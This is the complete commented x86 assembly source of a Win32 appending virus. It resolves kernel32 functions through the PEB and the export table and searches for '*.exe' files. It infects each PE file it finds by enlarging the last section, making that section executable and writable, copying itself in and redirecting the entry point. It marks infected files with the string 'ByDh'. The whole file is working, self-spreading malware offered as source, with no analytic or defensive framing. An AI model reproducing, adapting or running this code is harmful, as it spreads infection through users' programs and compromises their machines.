.386
.model flat, stdcall
option casemap:none
assume fs:nothing
.code
vx_code:
start_vx_code:
call _delta
_delta:
;Get the delta offset
pop ebp
sub ebp, offset _delta
;MyEntryPoint would be saved
;in HostEntryPoint if the current
;file were infected
mov eax, [ebp + HostEntryPoint]
mov [ebp + MyEntryPoint], eax
;Call to _GtGetProcAddress
;to find out Kernel32 base
;and GetProcAddress Address
call _GtGetProcAddress
mov [ebp + GtProcAdH], eax
mov [ebp + Kernel32H], edx
call _GtRequiredAPIs
_FindFirst:
;Find first file, loading the parameters
;according to ebp, delta offset
lea ebx, [ebp + win32_find_data]
lea edx, [ebp + filter]
push ebx
push edx
call [ebp + FindFirstFileAH]
;If it hasn't found any file
;return to the host file code
cmp eax, -1
jz end_vx
;Else save the Handle in FileHandleFind
mov [ebp + FileHandleFind], eax
;And call infect_file to try to infect it
call infect_file
_FindNext:
;Load the parameters for FindNextFileA and call it
lea ebx, [ebp + win32_find_data]
mov edx, [ebp + FileHandleFind]
push ebx
push edx
call [ebp + FindNextFileAH]
;If it hasn't found anything else, return
cmp eax, 00h
jz end_vx
;Else try to infect the file
call infect_file
;Search more files
jmp _FindNext
retn
end_vx:
;If delta offset is 00h
;the virus is not running on
;another executable, so exit to OS
cmp ebp, 00h
jnz return
retn
return:
;Else access to TIB to get
;the current ImageBase
mov eax, fs:[030h]
mov eax,[eax + 08h]
;And add it to MyEntryPoint
add [ebp + MyEntryPoint], eax
;To jump
jmp dword ptr[ebp + MyEntryPoint]
_procedures:
_GtGetProcAddress:
;To get kernel32 ImageBase
;Looking at the PEB
mov ebx, fs:[030h]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 00h]
mov ebx, [ebx + 00h]
mov eax, [ebx + 18h]
;To get export table address
mov ebx, [eax + 3Ch]
add ebx, eax
mov ebx, [ebx + 78h]
add ebx, eax
;Save that address
push ebx
;Pointer to AddressOfNames
mov ebx, [ebx + 20h]
add ebx, eax
xor edx, edx
_loop:
;Each entry of AddressOfNames
;Is a pointer to one string
;which has the name of one API
lea esi, [ebp + GpaName]
mov edi, [ebx + edx]
add edi, eax
mov ecx, 0Fh
add edx, 04h
repz cmpsb
jnz _loop
sub edx, 04h
;Divide edx by 2 to use it as
;an index in AddressOfNameOrdinals
;(2 bytes by entry)
shr edx, 01h
;Restore ExportTable address
pop ebx
;Access to AddressOfNameOrdinals
mov edi, [ebx + 24h]
add edi, eax
;To get the index that is going
;to be used in AddressOfFunctions
movzx edx, word ptr[edi + edx]
;Each entry is 4 bytes long
shl edx, 02h
;Load AddressOfFunctions address in edi
mov edi, [ebx + 1Ch]
add edi, eax
;Load GetProcAddress address in edi
mov edi, [edi + edx]
add edi, eax
;edx = Kernel base
;eax = GetProcAddress address
mov edx, eax
mov eax, edi
retn
_GtRequiredAPIs:
;Source registry points to ApiListH (where the APIs handles will be)
;Destiny registry points to ApiListN (where the APIs names are)
lea edi, [ebp + ApiListN]
lea esi, [ebp + ApiListH]
;Ebx contains Kernel32 base
mov ebx, [ebp + Kernel32H]
GetAPI_Loop:
;Push the Kernel base and
;the API name to get its address
push edi
push ebx
call [ebp + GtProcAdH]
;Save the adress where source registry points
mov [esi], eax
;Find the next API in the list pointed by edi
xor eax, eax
repnz scasb
;Esi points to the next handle to fill up
add esi, 04h
;If it's not the end of the list
;get the next API, else return
cmp byte ptr[edi], 00h
jnz GetAPI_Loop
retn
infect_file:
;VirusHostSize contains the size of the virus
;plus the size of the host
mov ebx, VirusSize
add ebx, [ebp + win32_find_data.nFileSizeLow]
mov [ebp + VirusHostSize], ebx
;Open the file to read and write on it
;And shared on reading
push 00h
push 00h
push 03h
push 00h
push 01h
push 0C0000000h
lea ebx, [ebp + win32_find_data.cFileName]
push ebx
call [ebp + CreateFileAH]
;If the file could not be opened
;jump to end_infect_file to search more files
cmp eax, -1
jz end_infect_file
;Else save the handle in FileHandleCreate
mov [ebp + FileHandleCreate], eax
;Push the file size to the stack and map the file in memory
;Eax will contain the base address of the mapped file
push [ebp + win32_find_data.nFileSizeLow]
call map_file_in_memory
;Is it an executable file?
cmp word ptr[eax], "ZM"
;Otherwise close the handles and return
jnz close_view
;Ebx contains the address where the PE files
;header begins
mov ebx, [eax + 3Ch]
add ebx, eax
;If it's not a PE file close the handles and return
cmp word ptr[ebx], "EP"
jnz close_view
;If the file is already infected
;close the handles and return
cmp dword ptr[eax + 6Ch], "hDyB"
jz close_view
;falignvalue will contain the FileAlignment
;and salignvalue will contain the SectionAlignment
mov eax, [ebx + 3Ch]
mov [ebp + falignvalue], eax
mov eax, [ebx + 38h]
mov [ebp + salignvalue], eax
;Get the new size of the file
;that is, the VirusHostSize rounded up
;to the FileAlignment
push dword ptr[ebp + VirusHostSize]
push dword ptr[ebp + falignvalue]
call _alignment
;And push it to the stack
push eax
;Unmap the file
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]
;And map it again with the new size
call map_file_in_memory
;Save the base address of the mapped file
push eax
;Mark the file with the signature ByDh
mov dword ptr[eax + 6Ch], "hDyB"
;Ebx contains the PE header address
mov ebx, [eax + 3Ch]
add ebx, eax
;Save this address
push ebx
;Move to edx the size of optional header
movzx edx, word ptr[ebx + 14h]
;Load in esi the address of the first structure
;of the PE Section Table
;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
lea esi, [ebx + edx + 18h]
;And push it to stack to use it later
push esi
;Move to ecx NumberOfSections
movzx ecx, word ptr[ebx + 06h]
;And push it to stack to use it later
push ecx
;Eax = 00h, and it will contain
;the highest PointerToRawData
xor eax, eax
_SectionsLoop:
;Compare the current biggest pointer
;with the PointerToRawData of the next section
cmp [esi + 14h], eax
;If it isn't bigger jump to _notbigger
jb _notbigger
;Else save ecx (index of current section) in ebx
;And move that pointer to eax
mov ebx, ecx
mov eax, [esi + 14h]
_notbigger:
;Esi points to the next section table
add esi, 28h
loop _SectionsLoop
;Eax = NumberOfSections
pop eax
;Subtract ebx from the NumbersOfSections
;and multiply it by 28h
sub eax, ebx
mov ecx, 28h
mul ecx
;Restore esi (the pointer to the first table)
;and add eax to make it point to the table which has
;the highest PointerToRawData
pop esi
add esi, eax
;Ebx contains VirtualSize, save it into the stack
mov ebx, [esi + 08h]
push ebx
;New VirtualSize = Old VirtualSize + VirusSize
add ebx, VirusSize
mov [esi + 08h], ebx
;Eax contains the new VirtualSize
;Rounded up to FileAlignment
push ebx
push [ebp + falignvalue]
call _alignment
;That is, it's the new SizeOfRawData
;so change it up
mov [esi + 10h], eax
;ecx = Old VirtualSize
;ebx = PE Header Address
pop ecx
pop ebx
;Save the EntryPoint of the file
;in HostEntryPoint
mov edx, [ebx + 28h]
mov [ebp + HostEntryPoint], edx
;edx = VirtualAddress + VirtualSize
mov edx, [esi + 0Ch]
add edx, ecx
;That is, the new EntryPoint
;so change it up
mov [ebx + 28h], edx
;Save PE Header Address into the stack
push ebx
;eax = New VirtualSize + VirtualAddress
mov eax, [esi + 08h]
add eax, [esi + 0Ch]
;Get the new SizeOfImage,
;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
push eax
push [ebp + salignvalue]
call _alignment
;Set the new SizeOfImage
pop ebx
mov [ebx + 50h], eax
;Last section characteristics:
;CODE|EXECUTE|READ|WRITE
or dword ptr[esi + 24h], 0E0000020h
;eax = Base Address of mapped file
pop eax
;ebx = PointerToRawData
mov ebx, [esi + 14h]
;ebx = Base Address + PointerToRawData + Old VirtualSize
lea ebx, [eax + ebx]
add ebx, ecx
;Copy the virus code in the host code
;esi = beginning of the virus code
;edi = end of the last section
lea esi, [ebp + start_vx_code]
mov edi, ebx
mov ecx, VirusSize
rep movsb
;Close all the handles
jmp close_all
_alignment:
;The formula to align a value is:
;AlignedValue = [(Value/Alignment)+1]*Alignment
;Save the returning address in edi
pop edi
;Get the value to align and the alignment
pop ebx
pop eax
xor edx, edx
div ebx
cmp edx, 00h
jz _align
inc eax
_align:
xor edx, edx
mul ebx
;Push the returning address
;and jump to it
push edi
retn
map_file_in_memory:
;esi = returning address
;edi = mapping size
pop esi
pop edi
;Create the file mapping object
push 00h
push edi
push 00h
push 04h
push 00h
push [ebp + FileHandleCreate]
call [ebp + CreateFileMappingAH]
cmp eax, 00h
jz close_file
mov [ebp + FileHandleMap], eax
;And create a view of the file
;using the size in edi
push edi
push 0
push 0
push 000F001Fh
push [ebp + FileHandleMap]
call [ebp + MapViewOfFileH]
cmp eax, 00h
jz close_filemap
mov [ebp + MappedFile], eax
;Set the returning address
;and jump to it
push esi
retn
;Chain of functions which close the appropiate handles
close_all:
close_view:
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]
close_filemap:
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]
close_file:
push [ebp + FileHandleCreate]
call [ebp + CloseHandleH]
end_infect_file:
retn
_data:
Kernel32H dd ?
GtProcAdH dd ?
GpaName db "GetProcAddress",0
ExitProcessN db "ExitProcess",0
ApiListN db "FindFirstFileA",0
db "FindNextFileA",0
db "CreateFileA",0
db "CreateFileMappingA",0
db "MapViewOfFile",0
db "CloseHandle",0
db "UnmapViewOfFile",0
db 0
ApiListH:
FindFirstFileAH dd ?
FindNextFileAH dd ?
CreateFileAH dd ?
CreateFileMappingAH dd ?
MapViewOfFileH dd ?
CloseHandleH dd ?
UnmapViewOfFileH dd ?
filter db "*.exe",0
FileHandleFind dd ?
FileHandleCreate dd ?
FileHandleMap dd ?
MappedFile dd ?
VirusSize equ end_vx_code - start_vx_code
VirusHostSize dd ?
falignvalue dd ?
salignvalue dd ?
HostEntryPoint dd 0
MyEntryPoint dd 0
filetime struct
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
filetime ends
find_data struct
dwFileAttributes dd ?
ftCreationTime filetime <?>
ftLastAccessTime filetime <?>
ftLastWriteTime filetime <?>
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 512 dup (?)
cAlternateFileName db 14 dup (?)
find_data ends
win32_find_data find_data <?>
end_vx_code:
end vx_code